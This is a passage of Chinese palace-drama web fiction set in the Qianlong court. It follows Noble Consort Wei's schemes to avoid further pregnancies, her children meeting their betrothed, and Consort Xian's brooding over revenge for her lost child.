若是说娘娘想以后不生养孩子也好,趁还年轻时再怀一个孩子,也能防着某些意外发生,说到底,永琮阿哥还未长到成亲生子的年纪,说句不好听的,还有夭亡的风险,和静公主和和恪公主将来总要嫁人的,不能一辈子陪在娘娘身边。 永璐阿哥是娘娘养子,胜似亲子,将来要是永琮阿哥没法站住,也能孝顺娘娘,但柏氏至今还好好活着,她总怕有生母过来争抢永璐阿哥。 就算是她多想也好,也算是她这个奴才擅自行事,她知道自己的说辞能影响娘娘,她也不得不多说一句,“娘娘,趁您还年轻,便再生一个子嗣也好。” 她压低声音,“您子嗣够多了,万岁爷才会赐给您避子汤。” 这么说也没错,娘娘子嗣多了,万岁爷必然不会让娘娘再生养了,高位生养多了,万岁爷不会坐视后宫局势这般发展的。 魏紫菀深深看了她一眼,关嬷嬷这话着实不像话,若非是跟随她多年的老人,她早就让她下去领罚了。 只是,为了不重现原身生孩子生到身子有问题的情况,她竟是要利用自己的孩子达成目的了吗。 魏紫菀把玩着手中扳指,目光跟挂在正堂中央的唐卡佛祖对上眼。 佛祖慈悲,宫中人似乎都这么认为,皇太后更是将敬佛一事时时刻刻牢记在心。 但她绣过唐卡,也拜过佛,跟有禅意的人说过不少话,她心中仍不见对佛祖有一丝敬意,神佛又如何,不能护住她的,不过是徒有虚表。 她能依靠的人只有自己,她绝不允许自己走上跟原身一样的路。 她必然要长命百岁,子孙绕膝。 想让她借助自己的子嗣达成目的,她不愿意,谁也别想说服她。 魏紫菀脸上浮现温和的笑容,笑意不达眼底。 她记得今年要大选了。 皇上也该将心思从她身上挪开了。 今年听说有不少贵女参加大选,其中也包括了她那位准弟媳戴佳氏。 第88章 第88章齐聚 长春宫,皇后神色淡淡,“五月是今年大选选定的好月份,有哪位妹妹愿意帮本宫筹办选秀事宜。” “让妾身来吧。”魏紫菀放下茶杯,迎着众人诧异的目光,莞尔一笑,“宫里许久不见新妹妹,我倒是对这新妹妹好奇极了。” 嘉妃犹豫了一下,也道:“我也同贵妃姐姐一起吧。” “还有妹妹要来吗?”皇后微微一笑,目光放在其余三妃身上。 纯妃顿了一下,见皇后目光落在自己身上,解释道,“娘娘,妾身儿媳有孕了,妾身想照顾儿媳,怕是忙不过来。” 慧妃神色不悲不喜,这些年她很少做出动怒或喜悦的神色,当年怀龙凤胎给她留下的后遗症在这两年因年纪大了,越发明显,她看起来比她原本的年纪还老五六岁。 便是旁人看了会怀疑是不是到了抱孙子的年纪,只不过慧妃本就不盼着恩宠了,平时也就做出一副平平淡淡的模样,让自己的容貌看起来没那么多细纹。 她犹豫了一下,“妾身也来吧。” 永璇是还没到年纪娶妻,但是她容貌已逝,陆氏和林氏作为她身边人,一个早死,一个不中用,这些年容色大减,还得选一两个固宠的宫妃。 慧妃话音刚落,娴妃也点头了,“妾身也来吧。” 这样下来,四妃只剩纯妃无动于衷。 但纯妃确实对这种事兴致淡淡,皇上已经给她两个儿子爵位,她大儿子对皇位无欲求,又不愿后院进人,就守着一妻两妾过日子,小儿子太不着调,之前天天找贵妃要奶茶喝也就罢了,近两年还专门研制奶茶这种东西。 便是经商她都还能听出几块银子响声,换做是这奶茶,大概只能听个水声吧。 摊上这两个儿子,纯妃只想着安享晚年,对帝王纳妃一事不感兴趣。 而且往年这些人也对大选之事不感兴趣,今年贵妃头个参与,她不免多想,兴许会发生她始料不及的变化。 便故作不知皇后探过来的视线。 “娘娘,妾身可否一起?”说话的是愉嫔。 皇后略微诧异看她一眼,“自然可以。” 愉嫔松了口气,也不顾其他人投来的目光,永琪再过几年就到婚配年纪了,她作为额娘无法给永琪更好的,但是她想给永琪精挑细选一个性子好的女子红袖添香。 像三阿哥曾经的侧福晋西林觉罗氏那般的,她可不乐意看到。 这样一来,有五人帮忙操办选秀之事,皇后笑意越发浓重了。 今年大选她听说前直隶总督戴佳那苏图之女戴佳氏要参选,尽管那苏图已经逝世了,但戴佳氏的身份可不低,戴佳一族是包衣抬旗不错,但戴佳氏却是圣祖成妃的族曾侄女、戴佳氏的嫡母章佳氏是圣祖敬敏皇贵妃的亲侄孙女。 这一族是凭借圣祖成妃起势的,有跟其他后妃家族代代结亲,因此戴佳氏是最适合不过为妃的贵女。 不过有贵妃亲弟在,皇上不至于会对贵妃未来弟媳感兴趣。 …… 魏紫菀从长春宫离开后,看到永珹行色匆匆,不免多看一眼,便被两个女儿迎面扑过来,“和静和恪。” 魏紫菀双手一揽将两个孩子牢牢抱在怀里,笑意颇浓,“今早醒得好早啊。” “额娘,和静醒得早,还带妹妹穿衣了。” 和静得意撑腰,和恪乖乖嗯了一声,“额娘,姐姐好厉害。” “是很厉害。”魏紫菀挨个摸了下孩子头,“今天这么早醒,一定还有别的事要做吧。” 和静点头,“额娘,我们要去找郭罗玛嬷了。” 去找她额娘做什么?魏紫菀茫然,“是你七哥九哥带你们去的?” 唯有这样才能解释两个小孩出宫自由了。 皇帝给两个儿子定下嫡福晋后,便对他们随意出宫一事不怎么理会了,只要不是在宫外惹出大祸,皇帝都视若无睹。 所以两个当哥的能带妹妹出宫很正常。 “是啊,九哥说想带我和妹妹看未来嫂嫂。” 和恪用力点头,“嫂嫂!”她强调道,“七哥也看嫂嫂。” 魏紫菀嘴角抽搐,“你们一个个年纪才多大就想着找未来嫂嫂。” 她估摸以两个儿子的年纪,顶多是去找两个未来媳妇相认,然后像和静和特成额一样整成玩伴关系,毕竟这一个二个的,年纪才多大啊。 六人中年纪最大的应数她未来大儿媳博尔济吉特氏,但她最多也不会超过十四岁,当初连连没了两任未婚夫君便是因皇帝一时兴起给她定下一门娃娃亲,等她年岁见 长后,那娃娃亲对象没了,便又选了一人,但那人身子弱,也早早没了,这才到了永琮。 她心里没什么男女大防的忌讳,“既然要相识,那就玩个尽兴。” 和静拉过来特成额,“额娘,七哥说还要带上他!” 特成额小脸认真,“娘娘,奴才会照顾好和恪公主的。” 魏紫菀眉头皱得更厉害了,心想这一群小孩该不会是想着认认真真介绍彼此未来伴侣结识吧,她没啥意见,就是和恪掺和进去,好像有些孤零零的。 她多摸了和恪脑袋一回,委婉道:“要是你兄长姐姐们到时不理会你,光顾着跟他们玩伴说话,你就早点回来吧,额娘在宫里等着你。” “额娘?”和恪歪着脑袋,不知额娘在说什么,但乖乖点头,“额娘,和恪会好好玩的。” “还有我还有我。”和静将脑袋凑过去,“额娘多摸了和恪一次,我的还没摸。” “是是是。”魏紫菀伸出手将她头发捋得乱七八糟,偏生这孩子还很高兴,“真傻。” 她忍不住笑道。 和静骄傲挺起小胸膛,“才不是,和静最喜欢额娘了。”所以只有额娘能这样碰她了,其他人想碰和静,和静才不乐意。 魏紫菀伸手将她头发理得服服帖帖,吩咐道:“出去好好照顾妹妹,你是姐姐,妹妹还小,不过你也是小孩,有拿捏不定的事就听你哥哥的吧。” “好。”和静紧抓妹妹的手。 …… 宫外,大伙齐聚魏府上。 小舅舅魏德馨虽是长辈,但却是长辈中年纪最小的,因此由他亲自组织这次会议,大家都没意见。 永琮和永璐在央求皇阿玛同意定亲那天,在致美斋有模有样商量,打算将他们未来嫡福晋和妹妹的未来额驸带过来,大家一起打个照面,以后就是自家人了。 三个小孩都有未来伴侣,唯独和恪身边孤零零的。 魏德馨跟他姐果真不愧是姐弟,脑回路一模一样的,看着小外甥女目光有些可怜。 “小舅舅,你干嘛看我。”和恪突然抬头问道。 小孩对大人视线最敏感,和恪发现小舅舅莫名看了她好久,她还奇怪小舅舅为什么只看她,不看其他哥哥姐姐。 魏德馨一拍脑袋,“小舅舅这不是觉得和恪公主长得果真可爱,必然是宫里最可爱的小公主。” 和恪抿了抿嘴,“额娘早就说过了,小舅舅你干嘛骗小孩。” 姐姐是最漂亮的小公主,她是最可爱的小公主,小舅舅干嘛讲这些大家都知道的事,肯定有事骗她。 魏德馨没想到小外甥女这么不好骗,况且他也没说错啊,小外甥女确实可爱。 想着这是姐姐的孩子,便格外纵容道,“奴才在想和恪公主何时有额驸,像阿哥公主们将未来福晋/额驸带到身边也是好的。” 打小培养的感情能不好吗?以后成亲了必然感情和谐。 他犹豫了下,还是将手放在小外甥女头上摸了摸。 和恪茫然,没想到小舅舅想的竟是这种事,她伸出小手拍了拍小舅舅手背,格外大气道:“和恪还小啊,小舅舅。” 第89章 第89章团结 魏德馨失笑,“是小舅舅多虑了,和恪公主还小呢。” 他摸了摸孩子头,掩下眼底担忧,永琮永璐和静三个孩子的婚事都定下了,就只差和恪的了。 只怕皇上到时会独独让和恪抚蒙,这让姐姐怎么受得住。 而且和恪这般乖巧懂事,让性子这般和软的公主抚蒙,不敢想象。 希望圣上不会让和恪公主抚蒙,像和敬公主那般只抚蒙不留京也是好的。 魏德馨只得将担心掩在心里,不让这群小孩看出来,作为长辈还让小孩担心,真是越活越回去了。 “好了,大伙都到齐了。”永琮拍了拍掌,将所有人的注意力都吸引过来。 小小少年风姿卓越,一身正气如修竹挺拔,尤为俊俏。 见所有人都看过来,永琮眉眼弯弯,“从现在开始,咱们可以好好结识,今后就是一家人了,一家人之间有商有量,有什么事好好说,有什么矛盾有什么不满的可以找我,小爷可好说话了,大伙可不得做对不住储秀宫的事。” 他脸上笑意颇浓,毫不忌讳说出这等带着威胁的话,永璐不忘在旁补充,“我们兄弟姐妹没有什么忌讳的事,但要是将某些要紧的事一直瞒着,这不忌讳也得变忌讳了,这不利于我们一家人的团结。” 和静觉得自己也得说点什么,“储秀宫不欢迎对额娘不敬的人。” 和恪歪了歪脑袋,求助般看向小舅舅。 魏德馨心里顿时来了劲,一肚子话想支援和恪公主。 但和恪最终还是想出了下马威的话,“和恪会找皇阿玛。” 魏德馨悄悄给小公主举起大拇指。 和恪害羞地抿抿唇,摆摆小手。 特成额摸摸鼻子,费力解释道:“特成额不会对不住储秀宫的。” 博尔济吉特晨珺不大介意,“既然要跟你成家,这种事我还是能做得到的。” 魏兰芝缓缓点了下头,“能做到的。” “既然这样,那我们今天就好好说说心里话吧,一家人不必说两家话,不管我们是娶是嫁,总归是储秀宫的人,可不能离心。”永琮扫了眼众人,又露出方才如沐春风般的笑容。 博尔济吉特晨珺心里微微惊讶,这位未来夫君看来不似面上般毫无心眼啊。 不过,都是皇子阿哥了,即便贵妃娘娘宠得再厉害,也不能真的满心善意,人善被人欺。 她点了点头,也笑道,“咱们来仔细认识一下,将来等成亲时,便知见不生分了。” 永琮笑意更深,他选这位嫡福晋果真没选错,合他脾性。 而魏兰芝静静地看着未来七哥和未来七嫂,又看向自己未来的夫君九阿哥,心里大抵有数了。 这是能靠得住的兄嫂,而九阿哥只听未来七哥的话,额娘说过她不适合为长媳,只适合当小儿媳妇,有这两位兄嫂在,她当那性子和软的小儿媳正正好。 她缓慢地点点头。 和恪看了眼这位未来九嫂、她现在的表姐,为何表姐说话这么慢,做事看起来也好慢好慢,跟未来七嫂风风火火的模样完全不同。 她扯了扯表姐的衣袖,表姐回过头看她,也是语气缓慢地问道:“和恪公主,怎么了?” 和恪眨了眨眼睛,“没什么。” 果然表姐是个慢吞吞的性子,和恪脑子里快速闪过额娘说的话,往往性子慢吞的人都不会轻易跟人生气。 和恪再看看一直跟在七哥身后的九哥,七哥也是个不容易生气的,总是笑呵呵,九 哥平时会钻牛角尖,但额娘说过了,九哥是很好很好的人,也是很好很好的哥哥,跟表姐在一起,应该就是长辈们说的天造地设的一对吧。 而七哥性子爽朗,这位未来七嫂也是个好说话的,也是郎才女貌的一对。 可是到了六姐和特成额这里,和恪眼里闪过迷茫,她看不懂特成额,这个人都不会说话的,总是闷头干事,而姐姐风风火火,她挠了挠小脸,要是说姐姐经常欺负特成额、特成额任姐姐欺负,这算不算良配? 反正姐姐也只是喜欢跟特成额开玩笑。 和恪年纪小小便洞察人心,将三对未来成婚的少年郎看个明白,也知道小舅舅之前那么说是啥意思,但是和恪就是不想明白。 反正和恪还小,成婚之事等长大后再说。 和恪趴在桌子撑着小脸,眼睛眨啊眨,像星星闪烁,不动声色地观察着哥哥姐姐们的举动。 看着七哥和未来七嫂很自然谈到一起,两个人都很主动,说起自家有几口人,平时都是什么性情?以后成婚了会有几个孩子,那些妾室生下来的孩子会不会养在嫡妻身下。 后面这句话是未来七嫂问的。 七哥干脆道:“你是嫡福晋,这些事自然交给你管,只要别是皇阿玛看不过眼的程度,都随你,爷额娘不会管我们后院事的。” 未来七嫂满意地点头。 和恪目光投射在九哥和表姐身上。 不管九哥说多少句话,表姐总是简单应一声,久而久之,九哥干脆不说话了,轮到表姐多起话来了。 而六姐和未来姐夫一个负责吃,一个负责递。 和恪看了一会儿满眼迷茫,和恪将来也要像哥哥姐姐们找一个性子比较奇怪,但品行还算不错的人吗。 和恪想了想自己认知中最奇怪的奇葩举动,摇了摇头,和恪谁都不选,谁想让和恪成亲,和恪就跟皇阿玛哭! 和恪只想跟额娘、姐姐、贵玛嬷和皇玛嬷在一起。 …… 今年大选身份最高之人当数戴佳氏。 魏紫菀知道乾隆后宫妃子数量看着够多、够唬人。 可那是因为乾隆活得够久,只要寿命长,加上是皇帝万万人之上的地位,每三年的大选,每年的小选,即便只进了几个人,对上乾隆八十九岁的寿命,后宫妃子不多才奇怪。 今年即便大选,进宫的妃子应该不多。 魏紫菀在考虑要不要带个新人在身边。 这期间的度要把握好,不能将皇帝推走,也不能让新人踩着她上位—— 这样一想,她都想叹气了,当宫妃就是不能随时安枕无忧,无论位高位低,都取决于帝王心思。 还是将那位新人推到别的宫所吧。 她打了个哈欠,想起皇帝愈发频繁的过来,她甚至想是不是自己身体出点毛病,不能经常侍寝才能推脱皇帝,但是正如一个妃子是否生养都取决于帝王一念之间,她身子出了毛病,太医必然会诊断出由来,再禀告帝王。 到时她可就彻底得罪帝王了。 总不能她当初为了自己和子孙后代过得好攀附上帝王,却没想过当宫妃的后果是这般吧。 她当初既然已经想好了,就不后悔自己走这条路,她的四个孩子确实因为皇家权势过得不错,她也当上贵妃了,族人步步高升,收到了好处再后悔也没有这个道理的。 可眼看自己这个年纪再怀孩子,那也不成,总会有两全其美的办法。 至于怎么做,她已经想好了。 这些大选秀女便是拿来转移皇帝和宫妃们注意力的,让她们时刻紧盯着她,倒不方便她派人动作了。 “妹妹们,姐姐乏了,先行回去了。” 魏紫菀将账本放下来,眸带笑意,三妃一嫔不敢多言,“是,妾身恭送贵妃娘娘。” 魏紫菀便自然而然起身离开长春宫。 连皇后都借口疲累早早回房,她就是想让旁人以为她对选秀之事上心才接手这些事,目的达成了没理由再待下去吧。 妃子们面面相觑,嘉妃也想走,但其他妃子出于自身目的都留下来了,她跟她们位份一致,总不好也走了。 第90章 第90章使女 愉嫔还在兴致勃勃给五阿哥挑选使女。 皇子阿哥在正式娶妻前,身边必然有妾室伺候。 愉嫔不敢赌万岁爷会给永琪赐下满洲贵女做侧福晋,事实上,这般身份贵重之人,她见过永璋的侧福晋西林觉罗氏,便下意识有些哆嗦了。 她宁愿自己给永琪选定的使女母凭子贵、以子册封侧福晋,也不要身份贵重之人当她儿子侧福晋,身份贵重就意味着不好驾驭。 纯妃作为妃位都眼睁睁看着自己儿媳妇惹祸,她不过一个嫔位,永琪还是众多皇子阿哥中爵位最低的皇子之一,她们母子俩怎么可能做到连纯妃母子俩都做不到的事。 而且,即便是成为儿子嫡福晋的人选,愉嫔也由衷地觉得身份不高不低的贵女挺好的。 就好比是令贵妃娘家人的身份,是汉军旗出身,身份不显,但也不会太差,毕竟族中有一位贵妃和两位皇子两位公主做倚靠,前途不可限量! 毕竟她儿子也只是固山贝子,皇上还有这么多儿子,她们母子俩并不受宠,就不盼着高门大族的贵女进门了。 如果不是九阿哥已经定下嫡福晋是贵妃侄女,皇家不会默许一连出现两位同枝同脉的嫡福晋,加上贵妃至今就一位侄女,愉嫔无论如何都得探探贵妃口风。 而如今宫里符合她心思的有慧妃侄女,其余三妃都不大符合她要求。 娴妃侄女已经成了三阿哥嫡福晋,而嘉妃和纯妃都是包衣旗人,母族身份不高,连能够上皇子嫡福晋的最低资格都没有。 况且就算她们族人够上了。 愉嫔也还是不大能看得进眼,原因很简单,她们族人都不是长进之人,只是靠两位妃位才勉强在京中有两分薄面,但实际上,看不上她们族人的人也不少,等两位宫妃一去,金氏一族和苏氏一族转而就被人抛在脑后了,谈何风光,谈何不是在拖累永琪。 而慧妃就不一样了,慧妃族中是实打实的有顶梁柱,慧妃之父高斌如今还在朝中被万岁爷看重,有实打实的治水功绩,攀上这门妻族,对永琪好处不小,还不用为慧妃家族门第在意,毕竟慧妃所在的高氏一族便是从汉军旗包衣抬进满洲上三旗的,不属于名门望族。 不会让永琪难为。 她这个想法想要实现起来应该并不难。 只看皇上确确实实给让贵妃侄女为九福晋,也让娴妃侄女为三福晋,皇上总共就十个成活的阿哥,这其中就有两个皇子嫡福晋是出自后妃家族,她如何不能肖想永琪嫡福晋是慧妃侄女,说不定皇上还真就这么想的。 念起慧妃侄女从包衣抬旗这事,愉嫔就不由自主给儿子选看的使女往更低身份的看下去。 慧妃便在相看容貌不错、家世中规中矩的女子了。 她是总结出一个规律了,没有野心的女子不会投靠她,而有野心却身份太低的,总会想着踩她上位,或是给她弄出数不尽的麻烦。 这身份太高的女子,不用投靠她便能在宫里立足了。 唯有这身份不高不低的,在起初需要她帮忙时,会投靠她帮她固宠,等日后自己起势时,还会记着她这份香火情。 慧妃已经想通了,妄图将一个有野心也有运道的女子一直压着,无异于给自己寻仇,而她有子嗣有位份,那些有野心之人在脱离她之后还能不能立足是另一回事,至少她保证她在宫里的人缘过得去就好。 单是看娴妃那子嗣没了的事,可见娴妃平时多招仇恨,若是人缘好,不说在宫里如鱼得水,可也不会给幕后之人利用的机会。 娴妃……娴妃在看了慧妃一眼后便专心看账本了。 如今的她,早就没了一身淡然,取而代之的是稳重,失去孩子并且今后再也不能生养之事让她发生怎么样的脱胎换骨,旁人不由得知,挨在她旁边的嘉妃却胆颤心惊。 早知如此,她就学纯妃走人了,何必掺和进去。 这一个个的冷脸相对,她在旁看得冷汗淋漓,心里真恨自己多事,方才贵妃娘娘走时,她为何不跟着一块走! …… 储秀宫,魏紫菀回来时便见婉嫔和颖贵人两位妃嫔笑盈盈看着她,一个给她亮出她和储秀宫其他宫妃一起做成的唐卡,另一个则弄出了新款式的化妆品。 商量好两人产品上新一事后,魏紫菀才反应过来,“他们五人怎么还没回来。” “娘娘,小主子们兴许还在热闹呢。”子衿双手捏上她肩膀,为她松骨。 魏紫菀心里腹诽,四个小孩别给她闯祸就好,成天到晚让额娘担心,得亏她也算是个开明的家长,对小孩私底下的举动从不干涉,只要别是涉及朝廷之事以及欺男霸女之事就好。 而此时三对未婚男女皆已达成共识,在旁观望的和恪若有所思,不过还是为她们储秀宫的团结高兴的。 和静看了眼天色,有些不安道:“我们要回宫了吧,额娘会担心的。” “回什么宫,难得出来一趟,我带你们去我府上走一圈啊。”永琮一左一右拍着两个妹妹的肩膀,“放心,爷派人给额娘传话了,不会让额娘担心的。” 在老大的带领下,一个个都忘了回宫之事,玩得乐不思蜀。 不过永琮永璐这两兄弟也没忘了正事,去看看额娘在宫外的门面,魏家人不愿派人过来接手这些门面,说都是宫里娘娘的,他们已经出门办事时得旁人三分敬重已经是仗着娘娘脸面了,再接手娘娘的门面,那可真是羞愧之极了。 90-100 第91章 第91章娴妃 因此兄弟俩都清楚这是额娘一个人的门面,储秀宫的两位娘娘也参与进去的,但额娘仍是拿大头。 兄弟俩在朝廷当差——虽说不上像年长已婚的兄长们那样受万岁爷重视,但被封爵后,两兄弟即便还未成婚,在朝中也时不时被分配一些不大重要的差事练练手。 永琮入了工部,永璐入了刑部。 各有各的养家之道,当然不会将额娘的门面视作自己的,而且额娘早早说了,皇子不管成家立业与否,总会有皇家发俸禄,公主虽然也有,但是不如皇子们的多,等公主成婚后,日子必然过得不如皇子们潇洒。 甚至捉襟见肘。 具体就参考永琮未来岳母和硕淑慎公主,即便留京,即便日子看着还算不错,但若非皇恩浩荡,时不时有皇帝赏下银两,或是干脆欠了皇家一笔银钱,这日子也不会过得有模有样。 好在和硕淑慎公主的六个儿子还算出息,即便欠着皇家银钱,日后总有勒紧裤腰带还上时。 这些门面是给两个妹妹留的。 兄弟俩无比清楚这件事,也不会觉得额娘偏心,若他们生来是公主,将来等他们成亲时,额娘照旧会将这些门面留给他们,儿女于额娘来说都是手心肉。 这不妨碍他们也在额娘和妹妹的事上多用心,都是一家人不讲二家话,因此在看过门面后,两兄弟才带着妹妹们、未来媳妇们和未来妹夫一块去逛市。 …… 想让皇帝自发决定不让她生孩子,这事是挺有难度的。 魏紫菀只是一时钻了牛角尖,放不下恩宠又不想继续生孩子了,以原身这副容易生养子嗣的身子,一旦放开了生,那后果必然是她承受不起的。 而且她也隐隐约约怀疑,她的容貌过渡到原身身上,那她原本的身子是不是也影响了原身身子,这也就是她这些年不容易有孕的缘故,前些年是因为影响得不深,所以很容易怀上三个孩子,但她最大的孩子这都将近十岁了,最小的孩子也有四岁了。 将近四年没有生养,皇帝过来的次数不少…… 如果是这样的话,魏紫菀也算松了一口气了,她不怕不能生,只怕会走原身的路。 将自己十月怀胎生下的孩子都送给旁人,自己嫡亲的子嗣始终不亲近自己,心里始终只有养母,这放在哪个母亲身上,都是不可接受的,或许那个孩子不出生,不会对不住她,她也不会对不住那个孩子。 三个亲生孩子和一个养子已是上限,再生下几个孩子,即便皇帝心里有她,但重不过皇权,必然会将她的孩子分给其他人,就为了不让她把控更多子嗣。 不过这一切都是她的猜测,具体是不是她的灵魂影响原身身子了,还待细究,原身可是连年怀上七胎,生下六个孩子的情况。 魏紫菀将打听并且收集好的三十岁这个年纪浮动的妇人生养情况写在纸上汇成一本书,她这些日子私下就做这个调查,但她并不是要拿给帝王来看的。 她不盼着生养孩子,但是皇帝却盼着多子多福。 那么能不能利用皇帝对她的看重,转变成她想生养孩子,但是皇帝不愿。 她不赌皇上对她有没有怜惜,只赌她生了孩子以后容色衰退,皇上暂时没法找到比她容貌更好的女子,怕她容色衰退,便不让她生孩子—— 她在这个年纪生养孩子必然会落下不可挽回的毛病,如同慧妃前些年生子,看似恢复情况良好,实则这些年愈发衰老。 而皇后看似好模样,可一旦天冷了,必然受不住冻,减了请安的次数,一旦天热了,皇后能穿得多简便就多简便,头上不带珠宝只仔细弄了头发,屋里冰鉴总是盛着冰块。 这样一冷一热十分禁不住气候变化的身子,难说不是中年时生养子嗣留下的后遗症。 魏紫菀万般恳切希望自己不走原身的路,因此身子好是必然的,这是保证自己能活过皇帝的前提。 “娘娘,两位公主回来了。” “总算回来了。”魏紫菀将‘书’塞到枕头底下。 “额娘。”两位小公主一左一右拦着额娘手臂,和静兴致勃勃道:“额娘,我见着七嫂和九嫂了。” “这多远的事啊,等他们成亲后你再叫她们七嫂九嫂也不迟,现在她们还是未婚的小姑娘,不可说这种话坏了她们的名声。”魏紫菀纠正了大女儿说法。 和静嗯嗯两声,又拉着额娘说起今日做的事情,结识的人怎么样。 和恪就挽着额娘胳膊坐到另一边,她比起她姐姐一向是沉默寡言的,但并不代表她对额娘没有心里话可言,她等姐姐说完她再说。 魏紫菀每一天都有两个女儿对自己吱吱喳喳,仿佛有说不完的话。 但她并不厌恶,毕竟小孩子一天一个样,能见证她们长大的模样,何曾不是一种幸福。 …… 翊坤宫,娴妃忙完手上的活就回宫了。 不知何时,她也跟皇太后一样尚佛了。 一日复一日念着经,修身养性,富察皇后身上的佛性仿佛转移到她身上。 再也不见皇后慈眉善目,只见娴妃捧着经书捻着佛珠,眼里面上愈发慈悲。 “今儿五公主到寿康宫住下了,但总是不回翊坤宫也不像话,明日叫她回来一趟,本宫始终是她养母,她若被人传出不孝的名声,于她于本宫也不好。” “也让画屏回来一趟吧,她伺候过本宫一回,本宫还想见见她。” “是,娘娘。” 娴妃吩咐完这些事,眼前恍惚,从前种种,譬如昨日死。从后种种,譬如今日生。 可——那又如何,生生死死,她都无法释怀她孩子被害一事。 纯妃的儿媳妇,慧妃的宫里人。 或许还得加上特地引导她恨上慧妃的人。 娴妃很想笑,她在对方眼里就是这么蠢的人吗,她在引导自己恨上慧妃时,有没有想过,害她孩子的人不止陆氏,还有西林觉罗氏。 三阿哥被毁了心志,加上六阿哥并非是有资质之人,两位皇子都争不了皇位,所以在那幕后之人眼里,纯妃不中用了,放任自流都无碍,剩下能威胁到她的人是慧妃。 所以,这才是她被引导恨上慧妃的原因。 可是,她既恨慧妃,也恨纯妃,更恨那幕后之人,她谁都恨——她恨这宫里还有能力争皇位的皇子的生母,她更恨位高权重之人,位高才可不动声色推波助澜害了她孩子,权重意味着在做了这一切事情后,轻易抽身。 到底是慧妃自导自演,还是皇后在幕后作祟,或是纯妃假意不知,将自己儿子推出众人视线——纯妃儿子只是看着被废了,可那是心性上的东西,并非身份上,若是纯妃狠下心来,就该学学贵妃作态,将两个儿子争夺皇位的后路给彻底断了。 纯妃完全可以当那一回‘螳螂捕蝉黄雀在后’之人。 又或是嘉妃、愉嫔。 愉嫔没有能力算计她,可她也绝不允许她在算计完那些高位后,看着愉嫔带着儿子捡漏。 她要让皇帝选无可 选。 作为一个皇帝,他护不住自己的妃子,作为一个阿玛,他护不住自己的孩子,甚至还查不到真正害了他孩子的人,只是对辉发那拉氏一族稍作弥补,她这个妃子在他眼里就是那等眼皮子浅的人? 活了这么多年,她对自己的认知远不如她孩子没了这件事后,周围人都将她当作蠢货时,那一刻她意识到自己从前确实是蠢! 但那些人不会更聪明了。 第92章 第92章害怕 迟早那些自诩聪明的人会在她身上狠狠栽一个重跟头。 现在从慧妃开始、还是从纯妃开始,或是看似跟她孩子没了之事毫不相关的嘉妃、皇后? 娴妃心里思绪不定,门外传来响声,她回过神来,脸上浮现淡淡笑意。 “女儿给额娘请安。” 五公主一听娴妃要寻自己,也不等明日了,直接过来求见。 娴妃目光落在五公主身上一瞬,很快落到画屏身上。 画屏已经跟在五公主身边伺候了,看在画屏当初救了她孩子的份上,她不会当着她的面为难五公主。 思绪一闪而过,“起来吧。” “是,额娘。”五公主谨小慎微,一经起身便候在一旁不声不语。 到她这个年纪,养在皇太后身边,从前额娘待她种种怨恨,她已经明白是何缘故了。 的确是她们母女俩欠了额娘,而且,那盒糕点是她亲自递给额娘的,她害了自己的养母。 越是明白这点,吉佳心里就越是不可自控浮现对养母的愧疚和赎罪心思。 她亲生额娘差点要了养母的命,她直接要了养母的孩子性命。 额娘说得对,遇上她们母女俩就是她倒了八辈子霉。 娴妃突然道:“吉佳,你也是能长成的年纪了,”她顿了一下,好似想到很久之后的事,笑了笑,“万岁爷的嫡亲女儿总得跟那些宗亲养女拉开身份,改日本宫得向万岁爷请求册封你了,你再怎么说都是本宫的女儿,妃位之女,总不能让旁人轻看。” 没理由同为四妃的慧妃之女封和硕公主,而她的养女还什么都没有。 慧妃啊……哼。 “女儿多谢额娘。”吉佳心里一喜,但很快陷入更深切的自责愧疚中,她害了额娘,额娘心里还有她这个女儿,她怎么配的。 不管养女心情如何,娴妃脸上始终含着淡淡笑意。 养女也是女,能掌握在手的子嗣多一个,她就能多一分胜算。 算算日子,她侄女也该生下孩子了吧。 她侄女和三阿哥的孩子啊……娴妃微微叹息,她侄女可真好命,倚着她这股东风成为嫡福晋,西林觉罗氏还死了,从前的万般可爱成了面目可憎,真好运啊。 纯妃得多高兴自己有了一个嫡出孙子啊。 可惜她的孩子化作一滩血水了,不然她迟早也能有自己的嫡亲孙儿了。 好在她侄女也姓辉发那拉氏,纯妃孙子也算是她孙子。 娴妃眸子闪烁着异样之色。 …… 储秀宫,魏紫菀在东稍间的小佛堂里拿起三柱香拜了拜,一求神佛保佑她四个孩子,二求原身平安顺遂,三求她在现世的家人平安。 四求她如愿以偿,百岁无忧。 她在心里念了这四个请求一遍又一遍,她不信佛,但是皇室中人信,所以她也会‘信’,表面功夫,谁都会。 倘若佛祖赐福,必然能听见她心里话。 她会给佛祖奉上最好的香火,只求佛祖实现她的心愿。 她面上一套心里一套,诚恳至极道:“信女愿意给您日日烧香,还请您庇佑信女,信女想为信女丈夫生儿育女,还请您怜悯。” 她嘴上一遍遍念着,只听声音,满是诚心,可细看模样,满脸漫不经心。 乾隆帝轻轻从院子里走进正殿。 皇帝总是有这些毛病,不通报就直接进去自己宫妃屋子里,仿佛这样就能见到自己宫妃最真实的一面。 宫中妃子都明白这点,自然有自己解决的办法,不是在外边弄出一点动物的声响,要不就是奴才们突然安静下来,但凡是个人都能感受到突然寂静的氛围有多不对劲。 乾隆压下旁人说着要请安的动作和声音,悄无声息来到东稍间外,隔着屏风,贵妃背对着帝王,毫无察觉。 这情况下,即便是对帝王悄无声息吓人一跳之举最为熟悉的宫妃,也未必发现帝王来到自己身后了。 毕竟小佛堂清净,听不到人声提醒,也不可能察觉本就寂静的氛围有何不对劲。 但魏紫菀为这一刻已经准备许久了,但凡是小佛堂外传来任何脚步声,都能让她将剧本上演一遍,弄错对象了就大不了当作排练。 她不尴尬,尴尬的就是别人。 魏紫菀低眉顺眼,“佛祖,信女质明便向您祈祷,还请您原谅信女的不知从何而生的妒忌。” 她低下头,仿佛在深切忏愧。 她细细讲来,“信女同万岁爷相识于碧玉年华,万岁爷垂怜,让信女日子顺遂无忧,信女确实受益于此,过了许多年的踏实日子,信女求您庇佑万岁爷长命百岁,百岁无忧。” 乾隆站在门外,将这一幕尽收眼中,神色温柔。 世人都说皇上万岁万岁万万岁,可自古以来,就没有万岁的帝王,人生数十年,百岁便是罕见之极。 求他百岁,便是毫无置疑的诚心。 魏紫菀又道:“求您庇佑信女的两双儿女,庇佑信女的阿玛额娘。” 她又上了三柱香。 方才坦白心里话。 “信女本不该在意的,信女只是万岁爷的妃,是妾非妻,即便是皇后娘娘,皇后娘娘大公无私,温柔贤惠,也绝不会如信女这般,不知从何升起的在意妒忌。” 她神色极淡,仗着后面人看不到她脸色,便自导自演出演了一出算得上是精彩的独角戏。 